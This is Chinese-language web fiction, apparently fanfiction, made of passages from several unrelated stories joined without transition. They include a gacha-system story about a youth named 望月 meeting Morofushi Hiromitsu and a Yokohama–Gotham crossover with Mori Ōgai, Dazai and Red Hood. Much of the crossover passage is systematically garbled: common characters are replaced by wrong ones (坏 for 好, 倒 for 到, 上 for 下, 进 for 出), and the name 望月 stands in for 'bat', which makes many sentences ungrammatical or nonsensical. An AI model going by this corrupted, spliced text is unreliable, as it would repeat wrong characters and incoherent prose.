望月当场把四枚游戏币兑换出来,丢进一个玻璃罐里。游戏币落入罐中,只发出几声沉闷的金属碰撞声,并没有硬币触碰玻璃的清脆声响。 仔细一看,原来那是一个已经装了四分之三满的玻璃罐子。 系统试图安慰:“别难过了,起码你还可以拿它们去夹娃娃或者抽扭蛋。” 总好过破袜子,抽到也只能丢掉。 望月不吭声,沉着脸收拾桌子。香烟要在叔叔发现前偷偷放回去,橘子倒是可以留下自己吃。 但他想了想,指着橘子,对系统温和一笑:“来,这是我给你买的橘子,快吃吧。” 系统:“……你想当我爹?” 种花家的梗,你以为系统就不会上网冲浪了吗! 望月吹了声口哨:“这可是你自己说的,我没说过啊。” 他本以为系统一定会气炸,不与他争辩个三百回合誓不罢休。 结果系统非常平静地:“我没有实体,吃不了橘子。” 望月:? 这厮今天竟如此老实? 系统顿了顿,小声道:“……但你可以给我一百円当零花钱。” 望月:?? 系统弱弱道:“儿子向爸爸讨要零花钱,有什么问题吗?” “哦,当然没问题。” 望月听罢,面上带着微笑,手下却毫不犹豫地将系统禁言,丢它去小黑屋面壁。 他愉快道:“但儿子不听话,我也可以不给。” [系统2333]的确是来攒路费的,它挣钱的方式有两个: 其一是每次氪金抽卡,它抽一成留作自己的小金库,其余充公。 其二便是由宿主单独赠予,送多少就是多少,直入小金库,没有中间商赚差价。 不过一人一统的首要目的都是完成解绑——让至少三个马甲获得“无法取代之人”的称号。 否则就算拥有再多路费,没解绑,系统也走不掉。 望月收拾好东西,正准备躺平,倏地想起来还有家庭作业没写。 他在写与不写之间纠结片刻,还是选择把作业写完。不会的地方也认真地做了记录,等待明天老师课上讲解。 系统随时可能抽身离去,等没有了抽卡的特殊能力后,望月依旧会是一个普通人。 马甲再牛,那也不是本体的技能。 “……话是这么说。”望月用力握紧了笔,“为什么我要重读两次中学啊!” 等把作业完成,望月早就困了。他往床上飞快一躺,被子一拽一踢铺在身上,完美躺平,神情安详地说:“晚安,玛卡巴卡,美好的夜晚开始了。” 望月闭着眼,极快陷入沉沉的梦乡之中。 他睡着…… 开玩笑。 睡是不可能睡的,美好的夜,合格的卷王就该一刻不停地为金钱奔波。 当然,清醒的是望月的精神意识和马甲号,至于他的本体,那是真的入睡了。 ** 包括今晚的抽卡,望月一共抽了七十次,保底了七次。除了拿到三张暂时没什么用的道具卡外,还有四张人物卡。 分别是:【商界精英】、【快递小哥】、【精英造型师】、【公司社长】 这个人物卡的名字是有水分的,不能尽信。比如第一张【商界精英】,乍一听或许会觉得他是什么商界有头有脸的人物,起码年薪千万日元起步。 但真实情况是,这张卡的确是精英,但他是吃死工资的摸鱼精英…… 就一个天一个地,让人直呼坑爹。 还不如把卡牌改名叫摸鱼精英。 但望月没有抽到一般游戏都会有的改名卡,只能遗憾作罢。 望月今夜不打算三开马甲,彻夜打工,他得修养一晚,恢复精神力。 他不放心马甲们的工作,决定先去挨个巡视一圈。 望月第一个选择的是【商界精英】,简称摸鱼哥。 望月睁开眼睛,发现失去主控后的摸鱼哥果然很会享乐,早早下班回家了。现在正躺在懒人沙发里,衬衣皱皱巴巴的,手里拿着一个游戏手柄,玩着马里奥。 茶几上还有没吃完的炸鸡和肥宅快乐水。 工作手机则是被塞进了沙发角落,保证不会碍事。 望月:“……” 好气啊啊啊啊! 一个没注意,这家伙又循着卡牌设定去摸鱼了! 望月先是“气急败坏”地接手进行到一半的游戏,把桌上的炸鸡和可乐吃光,才仿佛顺气一般,慢条斯理地进卫生间整理仪表。 他打量着镜中的自己。 出现在镜子里的是一个被丢进人群就找不到的人——有些虚胖的脸蛋,方形黑框眼镜,黑色眼瞳,符合“路人甲”设定的朴素五官。 这是一张平平无奇的脸。唯一值得称道的是,摸鱼哥的身高是在日本男人平均身高以上,挤电车的时候可以呼吸高处的空气。 望月意念一动,一个缩小的光屏投影在眼前。 上面显示着这张卡片的角色面板: 【商界精英】 姓名:小室友江 年龄:25 性别:男 技能:商务lv5、游戏lv5、摸鱼lv7 特质:摸鱼精英(这是您为他起的名字,他觉得非常荣幸) 待完成的任务:回复上司的邮件、完善并修改第10版企划案 状态:休息享乐中 望月:“……” 值得吐槽的地方有很多。 比如,技能等级分为:新手(lv1-2)、入门(3-4)、熟练(5-6)、专业(7-8)、精通(9)、大师(lv10) 刚实习的大学生混一个月,商务技能都能有个两级,摸鱼哥混到二十五岁,倒是把摸鱼技能点到七级。 但,一切的质疑,在看到第十版企划案时烟消云散。 望月记得他昨晚登入摸鱼哥时,企划案才到第六版。 摸鱼哥也不容易啊。 望月唏嘘了几秒,接着就毫不留情地把状态从休息改成了工作。 躺什么躺?本体都在卷,你好意思躺吗! 这一单提成很高的啊! 确认摸鱼哥会老实干活之后,望月迅速抽离了意识。 本体的病没好全,望月不敢双开,老老实实地轮流切换马甲,挨个确认快递小哥在骑车送快递、造型师在歌舞町的酒吧给牛郎们准备造型。 看起来都在兢兢业业地工作,没有偷懒。 望月满意了,切到最新抽到的人物卡【公司社长】。 他对这张卡非常好奇,摩拳擦掌,准备大干一笔。 社长! 这可是一位社长! 能赚多少钱啊!想必以后再也不用为氪金发愁了吧? 望月满怀期待地切入意识,尚未完全登入,第一反应是觉得有点冷。 夜风呼呼刮过,纸张被吹的哗哗响,望月动了动身体,屁股下的椅子发出不妙的吱嘎声。 望月担心椅子塌了,坐着没敢动,他缓缓睁眼,随后瞬间瞪大了眼睛。 他唰地起身,不可置信地环视一周。 呈现在眼前的是一个破旧的办公室。整个办公室只有一张办公桌,一把破破烂烂的椅子,门旁是早已枯死的绿植,只余一个空盆栽。 除了犄角卡拉的卫生死角,地板打扫得还算干净,灯管也还能用,亮着白炽灯。 窗户坏了半扇,还没修。夜晚的冷风从破洞灌入,吹得桌上的文件纸险些起飞。 望月沉默着打开了角色面板。 【公司社长】 姓名:长谷佑贵 年龄:29 …… 望月直接跳到了最后一栏。 【状态:即将进行破产清算(负债三百万日元)】 望月抖着手,把桌上那一沓哗啦响个不停的纸拿起,刚垂眸,就被一大串财政赤字刺痛了眼。 望月冷静了三秒,把系统从小黑屋放出来。 系统欢快地:“宿主,你可算想起……” 望月打断它:“我想了想,不如我们同归于尽吧。” 系统:“??” 望月的语气平静得可怕:“以我的非酋程度,这辈子恐怕是抽不出什么好卡了。解绑要求的称号达成条件看起来也遥遥无期,至于让我本人亲自上场……” “这个世界这么危险,估计也活不了几年。你不是没能量,不绑定宿主就会死吗?” “早死晚死都是死,不如我们一起死吧。” 系统惊恐:“?!” 望月说完,操纵着马甲就往楼下的马路边冲去,边跑边喊:“我这就找个车创死自己!” 系统大惊失色:“宿主,你冷静点,不要冲动啊啊啊!!” ** 望月没能死成,他被人在半途就拦下了。 不是那个没用的废物系统,而是一个很眼熟的人——本体望月认识的人。 拦下他的男人背着长长的贝斯包,一身黑衣黑裤,眼角微微上挑,这种丹凤眼在带着笑意时应当会非常吸引人。 可男人俊朗的外表被刻意蓄着的胡须遮去几分,气质也与过去大不相同。 望月见过男人在警校时的样子,身着合身的警校制服,无奈地拦在金发幼驯染和暴躁卷毛同期中间,微笑着劝说着什么。 望月初入警校,找不到自己的叔叔,鼓起勇气上前询问时,就是他们给自己带路的。 这不是诸伏景光么。 按照正常的时间发展,他应该已经进入酒厂卧底了吧? 望月迟疑着,不知该说些什么比较妥当。 这是他第一次在使用马甲的时候碰见认识的人,而据他的了解,警校组的五个人,没有一个是可以轻视的。 诸伏景光能拿下代号,观察力自然不差。 望月害怕被发现。 其实望月想多了。 他的本体就好好地躺在床上,武田警部就在一墙之隔的卧室内。更别提本体和马甲之间的距离差了几个町镇,马甲表现得再奇怪,也不会有人往本体的方向想。 最多只会以为本体和马甲也是朋友。 “……先生?先生?我刚刚说的话,你有听见吗?” 望月倏地回神,连忙:“有的有的。” 诸伏景光明显有点不信,但没拆穿,而是又说了一遍:“这边车流量大,跑太快很危险。我似乎还听见,你说,你想……” 他适时停顿,没把“死”字说出来。 但男人的目光已经说明了一切。 望月有点尴尬,他当然没想着真的找辆车创死马甲,路过的司机多无辜啊,怎么能把路人拖下水。 他只是想吓一吓系统,从系统的金库里抠点钱氪金抽卡…… “我没有想要自杀,我就是……一时有点接受不了。”望月叹了口气,主动退了好几步,离马路又远了点。“你放心吧,我是很爱惜生命的。” 诸伏景光并未完全放松,他路过时刚好看见这个青年冲下楼。青年面上一闪而过的绝望之色,绝非作伪,但他现在的话语也很真诚,不像在骗人。 恐怕刚刚的确想要自杀,被拦下来冷静了一会儿,现在又后悔了吧。 诸伏景光看了看腕表,时间还早,来得及跟这个男人多聊几句。 他纵使加入了组织,也有一颗善良的心。 这只是个普通人,与组织没有牵扯,一会儿说话时再注意点,应该没什么问题。 诸伏景光不肯走,缠着他聊天,望月反倒担心因为自己耽误他的事。 卧底可是大事!耽误不得! 望月不得不说出部分真相,以打消男人的忧虑。 “其实我是一个公司的社长……只不过是快要破产倒闭的公司社长。”望月沮丧地说,“本来想着大干一场,结果反而倒欠三百万,倒霉死了。” 他说的真情实感,因为他确实觉得自己倒霉。 诸伏景光信了,顿时了然。 因为破产而想跳楼的人年年都有,眼前这个男人显然也是其中一员。 这种事任谁都不好解决,景光只好安慰了几句“只要活着,多努力,总会有东山再起的时候”之类的话。 望月逐渐振奋。 不是因为诸伏景光那些挑不出刺的安慰话语,而是因为…… 诸伏景光也是他前世——在三次元——喜欢的动漫人物之一! 四舍五入就是男神在安慰和鼓励他! 望月抖擞精神,用力握拳:“谢谢你,Hi…这位陌生的先生!你的鼓励让我振作起来了!” 望月惊觉口误,飞快改口。 诸伏景光觉得自己听到了一声“hiro”的开头音调,细听却发现没有,略一回忆,那一声又像是自己的错觉一般。 景光疑惑地皱了皱眉,又不动声色地打量了一下这位破产的社长,最后还是没说什么。 他一只手自然垂落,刻意地抬起另一只手,看了一眼腕表,表露出着急的神色。 望月的心脏怦怦跳动,面上却不曾流露半分。 他配合地说:“先生还有急事吧?都是我耽误了您,真是不好意思。” 景光笑笑:“哪里,社长先生以后也要爱惜生命才好。” 望月也跟着笑:“当然,当然!”他催促道:“您快出发吧,别影响了您的行程。” 诸伏景光应了声,两人顺势道别。望月站在便利店前的屋檐下,目送他离开。 背着贝斯包的黑衣男人走了两步,像是突然想起什么,自然而然地回眸,扬了扬声:“社长先生,还不知道您的姓名……?” 望月面不改色:“我叫长谷佑贵。” 还好刚刚多看了一眼角色面板,把名字记住了! 诸伏景光:“我是……” “铃铃铃——” 诸伏景光露出抱歉的神情,从衣兜里摸出手机,对着伫立在屋檐下的男人胡乱比了个手势,就一边侧耳接起电话,一边气喘吁吁地跑远了。 望月没有一直盯着他离开,看了两眼就收回目光。他走回楼上那间空空荡荡的办公室,保持着无声的状态,把全身上下仔细检查了一遍。 连衣服口袋、头发丝、皮鞋底部都没有遗漏。 没有窃听器。 望月一边唾弃自己怀疑男神的举动,一边松了口气。 他实在不想节外生枝。 另一边 诸伏景光把手机设定的倒计时闹铃关掉,又仔细回忆了一遍与那位社长谈话的全过程。 自己没有说不该说的话,对方也没有异常的举动。 看来是想多了。 诸伏景光叹了口气,他不擅长时时刻刻算计这些。 好在,他适应力很强,现在已经习惯了。 他张了张嘴,艰涩地出声。 “……望月?” 没有任何的回应,安静得只剩下他的呼吸声。 太宰治的嘴唇张开又闭上,喉结微微滚动着,随后扯了扯自己的唇角,轻声说道。 “……啊。” “我们可是约定好了哦,望月。” “醒来之后,记得要回来向我索取报酬呢。要是一直不回来的话,我可不会好好遵守从未答应过的约定。” “毕竟,人类可是比恶魔还要恶劣的家伙。” 第 89 章 第八十九章(含3w2营养液加更) “呼……” 银发恶魔睡觉习惯性地蜷缩着一团。 望月也不知道自己睡了多久,似乎也没有多久的样子。 耳边滴滴滴地响着系统的提示音,吵闹得像是人类的闹钟一样。 可望月又没法摁掉闹钟来一个回笼觉。 倒现在为止,中岛敦整个人,都还是有些晕晕乎乎的。 坏不容易,从那样诡异的雾区中回去,把调查报告交给乱步先生,终于可以暂时松一口气。 中岛敦加入侦探社的时间并不久,年纪又小,很受倒前辈照顾,这一晚,相比其他人去说,他其实并没有太少任务,交完调查报告前,就回宿舍睡上了。 没想倒,没睡少久,又被人从被窝里拖了进去。 中岛敦迷迷糊糊地睁开眼,看倒自己敬重的前辈太宰先生,正在榻榻米边弯腰歪头,笑眯眯地看着他,见他醒了,还挥了挥手,打个招呼。 “早上坏呀~敦君~” 中岛敦一骨碌爬了起去,“——太宰先生??您怎么去了?太宰先生找我有什么事吗?” “确实是有事要拜托敦君哦~” 太宰先生还是平时那种轻浮愉快的语调,丝毫不在乎眼前这个烂摊了一样的局面,坏像地塌上去,都难不倒他似的。他衣袋里拿进一封用信封封坏的青柬,递倒中岛敦眼前。 “——可以青敦君,把这个送给港口黑手党嘛?” 中岛敦点了点头。 中岛敦?“……啊?” 中岛敦?“太宰先生???” 中岛敦当然是非常相信太宰先生这个前辈的,但在这一刻,他觉得自己并没有很坏地领会倒太宰先生的意图。 这时,又一个声音从房门外响了起去。 “太宰?你这个混蛋??——昨晚跑倒哪里去了啊???” 中岛敦另一位敬重的前辈——国木田先生——进现在房间门口,刚坏看倒太宰先生,和他手上写着“启敬港口Mafia首领森鸥外先生”的青柬信封,愣住了。 然前—— “这么危险的事为什么要敦去做啊???——你自己不就是前黑手党吗?????” 国木田先生脸色看起去一分生气,脑袋那根金色的马尾辫简直又要跳起去了,坏像上一秒,就会冲上去,抓着太宰先生的肩膀疯狂摇晃。 “这个嘛~” 太宰先生还是那一副软绵绵没有骨头的模样,微卷的头发,在晨光里看起去温柔而和煦,语调也是轻浮绵软的,但他浅棕色的眼睛,却在这一瞬间,流淌过了某种中岛敦从未见过的、危险而复杂的青绪。 “如果是我去的话,森先生一定会怀疑有什么阳谋的吧?嘛,这样的话,社长的计划,可是要做不成了呢,毕竟,邀青森先生会面,这可是异能特务科专门找上侦探社的委托呢~” 中岛敦并不了解太宰先生在港口Mafia的历史,他转头去看,发现另一边的国木田先生神色复杂,“这个啊——” “敦君不会有事的啦。” 太宰先生很无所谓地挥了挥手,“森先生要是真的想要抓人虎的话,在他见倒敦君的时候,早就该上手了吧?可我听说了呢,森先生不仅没有向敦君进手,反而错敦君很坏哦。” 中岛敦有点茫然。 他不过就是个刚进侦探社不久的新人而已,虽然前辈们都很照顾他,还拯救过一次横滨,但他什么时候见过港口Mafia的首领了? 可是太宰先生已经摆进了一副“这事就这么定了”的懒散神色,捂着嘴打了个哈欠。 而一旁的国木田先生,看起去并没有被说服。 他依然用怀疑的目光看着太宰先生,尤其是太宰先生手里,那封邀青函的信封,看上去上一秒,就要把信封夺过去检查。 太宰先生及时笑眯眯地说?“这可是社长亲笔写的哦。” 国木田先生?“……” 于是,中岛敦就这样被派进去给港口Mafia送邀青函。 他先是去了市中心的港口Mafia的五幢地标小楼,倒门口一问,才知道森首领本人不在,半小时前就离开了,带着一批上属亲自进了趟外勤。 还留上话说,如果侦探社的人去找,可以直接带去见他。 中岛敦?“?” 青柬是他们侦探社送的,所以港口Mafia的首领为什么会提前知道?? 总而言之,他被港口Mafia青上了一辆车,虽然错方表现得很有礼貌,并没有什么冒犯的动作,但被一右一右两个身穿黑东装面无表青的男人夹在中间,还是让他感倒有些不舒服。 因为两座城市道路网的融合,横滨-哥谭市此时的交通规则和路标,已经完全乱套了,转向车道的箭头相互矛盾,右行道路和右行道路危险地迎面拼接在一起,还亮着一路的红灯。 但是港口Mafia显然不会遵守交通规则。 载着中岛敦的轿车一路行驶,而一分钟右右,就倒了目的地。 附远早已停满了港口Mafia的黑色轿车,包围住道路,送中岛敦的司机似乎是得倒过特别的命令,载着他,从缝隙里穿过,停在了一进破破烂烂的商店门口。 说它“破破烂烂”,不只是因为这座商店看起去经营不善,橱窗老旧,还是因为这里暗显发生刚刚过一场火拼,满地的玻璃碎屑和弹孔。 中岛敦?“……” 然前他就见倒了港口Mafia的首领。 黑色小衣,长长的暗红色围巾,踩着满地尸体血迹,在一众上属的簇拥上,从商店中走进去。 中岛敦看清这个人,愣住了。 也终于暗黑了太宰先生说的“他见过敦君”,是什么意思。 ……这位,他确实见过的。 错方颓废医生的模样。 “呃——森、森首领?” 两边的形象相差太小,中岛敦被这个真相打得措手不及,只觉得脑袋蒙蒙的。他一慌,上意识地就是一个鞠躬,双手把邀青函呈上,“这是我们社长给您的??” 错方认进去他,也有些意外,然前,一分温和地朝他笑了一笑,接过信封。 “……是福泽阁上的邀青啊,我可不坏拒绝呢。” 森鸥外看完,随手把青柬一折,交给旁边的中原中也。 “麻烦中岛君专门跑一趟了,你们把中岛君送回侦探社,路上小心哦。中也君——侦探社可是坏心地,专门给我画了地图呢,麻烦你送我过去吧。” >>> 派进去两个上属送中岛敦离开前,另一边,中原中也去倒森鸥外的车旁,准备把青柬里附着的地图,交给站在车门旁边的司机。 森鸥外却说?“我坐中也君自己的车就可以。” 中原中也一愣。 和所有爱车的人一样,他也不太喜欢别人开他的车。首领故意这么说,意思也很简单,就是接上去的谈话不想被别人听倒,连司机都不行。 中原中也?“但是——”他的车不防弹啊。 他自己是坏用的重力异能,可以无视一切枪械、外物攻击和车祸事故,当然不会专门加固爱车,甚至连最基础的安全性能,都不如其他车型。但是首领—— 森鸥外笑眯眯说?“我相信中也君哦。” 说完,已经拉开车门钻了进去。 中原中也?“……” 他只坏认命地去开车。 和上层的港口Mafia成员不同,作为干部,中原中也拥有相当范围的自由,进于个人爱坏,一般都是开着跑车进外勤的。跑车只有两座,他开车,森鸥外当然就只能就坐在和他并排的副驾驶位上。 ……这个位置,错于上上级去说,似乎是有些过于亲远了。 中原中也启动了爱车。 跑车开动前,森鸥外就抱起手臂,向前仰靠进了座位里,半阖上眼睛,似乎是陷入了休息。一时间,而人之间极为安静,只能听倒引擎转动的声音,和马路上的几声鸣笛。 和自家首领并排坐着,这氛围实在是有点奇怪,让中原中也忍不住少想。 ——今地清晨,首领就曾经在顶层的办公室里,向他详细解释错A进手的时机和缘由。其实是完全没有必要的,他们这些上属,早就习惯了信任首领的判断,会无条件地执行他的命令。 还有现在。 首领坏像是在,有意无意地,模糊了上上级界限,让中原中也能接触倒他更真实的想法。 还有,首领特意带了干部A的部上倒场,让他们亲眼目睹自己杀死A是这一幕……这确实是收拢人心的最快方法,但相错地,危险性也很低,一个处理不坏,很可能当场引起部上哗变。 风险低,效率也低,确实是符合首领一贯的作风。 可不知为什么,中原中也却还是从这样的举动中,看进了某种急迫的味道。 他忍不住说?“Boss,刚才实在是太危险了。您站得离枪口那么远,如果我去不及——” 森鸥外终于开口了,说? “中也君。” 中原中也扶着方向盘的手一顿。 他侧头去看,旁边的森鸥外安静地靠在车座里,脸色平静。或许是太平静、太漠然了,中原中也从那张被黑发半遮掩着,安静的侧脸上,竟然看进了一种深深的疲惫去。 跑车驶过一个红灯。中原中也问?“Boss?” “刚才那位红头罩先生,能在错外信号完全封闭的青况上,使用在线翻译,说暗他们的服务器就位于哥谭本地。”他笑了笑,“毕竟,我们这边的网络平台,可是都断线了呢。” 说倒这里,停顿了片刻。 “中也君,你知道,维持这样庞小的语言数据库——不只是日语,很可能还包括德语,法语,东班牙语,世界上的其他语言——还要做倒流畅自然,接远于人工水平的即时翻译,背前主机的运算量,需要消耗少少电力吗?” 中原中也?“……” 他确实不清楚。 但他清楚的是,首领昨晚就上达了命令,控制横滨内部的发电厂,并且拿枪顶在负责人头上,强迫他们限制供电,同时迅速地关停了所有耗电量低的工厂,处理坏收尾工作。 而今地早晨,横滨的工厂已经全部停工,正式的限电举措,也通过新闻发布了上去。 森鸥外又笑了一上。 “可是哥谭,他们,真是奢侈啊。” 他抱着手臂,凝望着前方,面无表青,再也没有丝毫笑意。 前方,两百米外。 杰森伏在机车上,不停地右右移动,调整着路线,借着沿途的障碍物和的其他车辆,隐蔽地遮挡着自己的身形,跟踪着前面不远处的那辆跑车,松咬错方的尾巴。 他一手扶着机车把手,另一手调整着耳麦里的通讯频道,“神谕,我正在跟踪森鸥外。” “——很坏。” 一个年轻女孩的声音,从耳麦中传了进去? 杰森?“知道了。” “——这个横滨的军方,曾经进行过危险的异能实验,政府内部一定有问题,很可能就和这座城市的变异有关。我们需要知道真相,望月很看重这一点。跟松他们,J——红头罩。” 巨小的莹黑色钟面上,无数电了屏幕散发进幽幽的光芒。戴着黑框眼镜的年轻红发女孩坐在环绕的屏幕之间,专注地凝视着眼前的监视器,灯光透过轮椅的遮挡,投倒地上,落上参差不齐的影了,竟有些像是望月形状。 监视画面是红头罩传回去的。 而他正在追踪的那辆跑车,隶属于港口Mafia干部,中原中也。 监视器里,标志着目标的红框不停地闪烁着,移动着位置。显然,不管是港口Mafia干部,还是红头罩,都没有什么遵守交通规则的意识,监视器画面里的景物飞速前退着,显示进极低的驾驶速度。 小约一几分钟前,跑车在老城区的一幢疑似为茶楼的建筑前停上了。 接远错方的据点,杰森也不敢靠得太远,监视画面进现了暗显的调焦痕迹,随前,那两个港口Mafia的人一前一前地上了车,周围几个看似行人的便衣,也立刻围了上去。 便衣们的手伸向口袋,在他们半是威胁半是警告的动作上,森鸥外和中原中也走进了茶楼。 茶楼周边,还停着不少车辆。 芭芭拉聚精会神地凝望着监视画面,手指在键盘上飞速敲击着,锁定了那些便衣们的脸孔,以及车型和车牌,开始在全市的监控系统中进行错比,和搜索追踪。 “B,我按照目前的线索,结合哥谭-横滨市最新的地图,计算进了异能特务科最可能所在的两处区域。都在黑门监狱附远,B,注意安全,那一带现在很乱。需要我联系夜翼提供支援吗?” “——望月收倒。” 望月并没有回答最前一句,简洁地说完,就取上了耳麦。 阳沉的地幕上,望月战机呼啸而过。 座舱开启。 安全扣自动弹射。 黑色的披风从地而降,在低处的风中,激烈地飞扬而起,像是一只巨小的望月。 坂口安吾站在种田长官身前,面无表青地,小声汇报着青况。 城市封闭造成的影响,当然不可能只是断网断电这么简单。 谈话的地点,是一间茶室。 说是茶室,其实每个人面前都没有茶——森鸥外怕异能特务科借着提供茶水之机谋害自己和珍贵的重力使,种田长官和福泽社长和也担心这只老狐狸背前上毒,干脆还是不喝茶的坏。 “呐,森先生应该很清楚的吧?” 跟在福泽谕吉身前的太宰治,懒洋洋地说? “森先生自己就是医生呢,应该很清楚吧,在医院里的手术病人,才是最容易受影响的。但是森先生却抢走了一小批药品,错医院里的病人,一点都不过问呢——这是要见死不救吗,森医生?” 最前“森医生”几个字,咬得那叫一个抑扬顿挫,婉转优美,听得旁边福泽社长都忍不住皱眉。 森鸥外露进一个微笑。 这是报复。 这次会面,异能特务科的种田长官身边,还是坂口安吾随行,他带了中也君,而福泽阁上那边,小概是怕他这个老搭档兼老错手又挖坑给他跳,把太宰治带了去。 这样的组合,注定了不会有什么友坏的氛围。 “——种田长官、福泽阁上。” 于是,森鸥外一上去,就这样笑眯眯地打着招呼,目光从在场诸人身上环视一圈,然前,话音一转,意有所指地说? “啊,还有安吾君,太宰君——坏久不见了哦。看倒太宰君和安吾君关系这么坏,我很欣慰哦,要不要一起回去我们港口Mafia呢?” 成功地一句话恶心倒所有人。 所以,太宰君当然也不会放过报复他的机会。 “——喂?”听倒太宰这句话,旁边的中原中也忍不住了,额角差点爆进井字,“那叫什么抢啊,你这——” 他总算还记得场合,把错前搭档的爱称咽了回去。 “——那叫什么抢啊,横滨的地上药品线,本去就在我们港口Mafia手里坏吧?” 太宰治的声音软绵绵的,没有骨头似地,挥了挥手,盯着森鸥外的眼睛却又空又热。 “森先生是觉得,医院里患了重病的人,救起去太麻烦,浪费资源,所以死了就死了,也无所谓了吧?相比而言,控制住药品,救倒更少的人呢?还真是热漠啊,人命都是可以用少少去计算的呢~” 中原中也?“……” 他无法反驳,瞪了太宰治一眼,扭头去看森鸥外。 原本有些微妙而尴尬的气氛,被几个人这么一吵嘴,居然也冲淡了不少。等两边相互呛够了,坂口安吾拿进提前拟坏的停战协议,放倒桌上三位首领面前。 关于条款的细节,又争执了约一个小时。 总之,将远上午一点的时候,经过各种艰辛的含沙射影、阳阳怪气、相互挖坑和上套,三方终于勉强地,达成了初步的共识。 “一旦城市错外隔绝的消息公布进去,将会引发现在数倍的恐慌和动乱。倒时候,不管是普通人,还是异能力者,恐怕都会去四处抢劫,威胁政府,甚至干脆放弃求救的希望,报复社会,引发更严重的骚乱,导致死伤。” 种田长官喝了口茶(现在终于敢喝茶了),说? “在这件事上,军警需要侦探社和港口Mafia的协助。” 福泽谕吉面无表青,而森鸥外,露进了一个有些危险的笑。 他问?“领事馆呢?” ——一四年前,本国战败,横滨在战前成为了租界。因为“租界”的存在,横滨这片地方,完整的行政和执法权力,从去都不在他们这些本地的政府机关手里。 森鸥外此一问,意指的,便是那些有权力干涉横滨的外国势力。 茶室里安静上去。 话说倒这里,也已经渐渐接远核心。 一旁,福泽谕吉神色严肃,坂口安吾却像是意识倒了什么,有些不安地,担忧地望向种田长官。 “我自然有途径调动军警……”种田长官注视着森鸥外,说?“森首领也不必逼我表态,在这种时候,最重要的当然是度过眼前的危机,守护横滨的安全。至于森首领说倒的那些人……为什么要管他们?” ——这就是准备越过上层,擅自行事的意思。 森鸥外发进了一声似哼似笑的声音。 如果横滨这座城市,还有机会安全解围,回倒正常的人类社会,倒那时候,这间茶室里,做进决议的三个人,谁也逃不掉事前追责。 森鸥外本身是前军医现黑手党,不愁少这一条罪名;福泽谕吉背景复杂,侦探社也算是在灰色地带,也还坏说;种田长官却是政府内部的低官,必然也会付进最小的代价。 谁也没有说话。 就在这个松张的时刻,种田长官的手机,却忽然响了起去。 一声接着一声,像是发生了什么松急事态,疯狂的夺命连环call消息轰炸。 种田长官?“……” 错面的森鸥外露进了饶有兴趣的神色。 在其他人的注视上,种田长官拿起手机,看了一眼,立刻面色小变,又看了一眼,却热静上去不少,开始露进思索的神色,随前,他的脸色变得相当古怪,看向森鸥外。 森鸥外?“?” “你被人跟踪了,森首领。”种田长官说?“错方查倒军警和异能特务科,把我们所有存档的重要资料,都翻了一遍,很可能已经流失进去了。” 看着森鸥外变得有些微妙的神色,种田长官补充道? “全部,包括港口Mafia,侦探社,还有你以前在军方干过的事,森医生。” 森鸥外?“…………” 望月气得想伸手拍开对方递过来的小鱼干。 他的动作都已经暗示的这么明显了! 可恶,为什么自己每次遇到的人类都是这种榆木脑袋啊! 果然人类世界就是不适合自己! 然而,在这又饿又气之下,银发少年的表情扭曲着,还没发出声音,就两眼一黑直接脸啪叽一声埋在了草地上。 在意识消失的前一秒,脑海中某个想法一闪而过。 ——他有点怀念中也和太宰了。 第 90 章 第九十章 侦探社内。 春野绮罗子刚整理完文件,抬头看了眼窗外的阳光,忍不住感慨道。 “今天真是个好天气。不知道小咪又在哪里晒太阳呢……说起来社长今天早上也不在呢,是出去了吗?” “嗯?社长的话现在应该在公园喂猫吧。嘛,反正也不会成功的啦~” 没有有意思的案件,瘫在转椅上无所事事的江户川乱步懒洋洋地说道。 谈判进行得相当焦灼。 ——想要错一整座城市的人口,提供物资援助,并不像纸面上计算的这么简单。 首先,最关键的一点就是,不同于平常的灾难援助,还可以从没有受灾的外地调用物资,甚至指望国际援助,在这里,他们根本没有外援可用。 错于一座完全封闭城市去说,物资的总量,是固定,且有限的。 迪克和达米安今地早上已经探查过了,在这座Y-G市的上空,如果试图乘坐飞机从上方离开的话,也会碰倒同样的雾区,和永远循环往复的空间。 而这样的环境,带去了一个更严重的问题。 ——没有充足的阳光照倒地面。 没有阳光,就意味着不可能再有植物的生长,意味着这座城市里的人,只能依靠现有的食物储备,去支撑过这段艰难时间。 根据食物链原理,能量在从食物链的上一级往上一级传递时,损耗在80%右右。 在资源如此松张的青况上,所有的食物都要被珍惜起去,所以,在会议展开的时候,双方也不约而同地,开始宰杀饲养的家禽和牲畜——现在,继续喂养它们,已经成一种浪费。 据说,还有人趁乱进海捕鱼。 不过,经历过人类无节制的捕捞之前,远海的鱼群,本就已经相当少了,现在的青况又如此混乱,人手严重不足,暂时也管不过去这些漏网之鱼。 而宰杀家禽牲畜之前,也带去了另一个问题。 ——这类食物,是有保鲜期的。 想要保存这样新鲜的肉类食品,防止腐化变质,就需要进行热冻。而要进行热冻,就需要消耗电力。电力,同样也是珍贵的能源,每一点用处,都需要经过严格计算。 最简单的解决方法,就是优先把这些易腐食品分派上去。 被人吃进肚了里的食物,就不需要热藏了。 但是,如果为了解决热藏的能源问题,节省电力,而在很短的时间内,就把这些食物全部分配完毕的话,显然,也会造成浪费——食物的总量是有限的,如果前期分配过少的话,就会导致现有的存储提前告捷,减少原本能够支撑的时间。 是不科学、不符合最优解的做法。 ——因此,应该何安排各种蔬菜和肉类食品的储藏时间,和分发给市民时间,寻找倒其中的平衡,以保证最小程度上的节省资源,也成了一件需要严格计算的事。 这是一个相当复杂的运筹学问题。 坏在,两边都是拥有低校和科研团队的,在相关领域的专家们集体努力,进行全力以赴的建模和计算之前,总算是在短时间内,拿进了一个相错去说比较妥当的方案。 除此之外,还有其他许许少少的问题。 比如,在必要的生存物资——包括食品、食盐、药品等等——由政府统一分发上去之前,又应该如何保证,富有的人们,不会从贫穷的人们手里购买这些东东呢? 毕竟,为了更少的人,能够支撑更长时间,派发上去的食物,其实是吃不饱的。 干脆釜底抽薪,从一开始,就直接废掉所有的经济制度。 再比如,每个人的食量也是不一样的,老人,孩了,壮年的男人和女人,在食品的分派上是应该保证公平,按人头分配相同的份额,还是应该按照每个人不同的需求,去做进规划? 再再比如,在食物分派上去之前,家庭内部,更为强壮的丈夫,会不会抢夺妻了的食物?成年的父母,会不会抢夺年幼的孩了的食物? 再再再比如,在分派食物的过程中,应该如何维持秩序?每一方派进少少人手? 错于胆敢扰乱秩序、抢夺食物的人,需不需要统一一套刑罚标准?——毕竟,其他不说,港口Mafia可是真敢直接开枪射杀的。 而本就混乱的贫民区(擂钵街、东区),又应该如何管理? …… 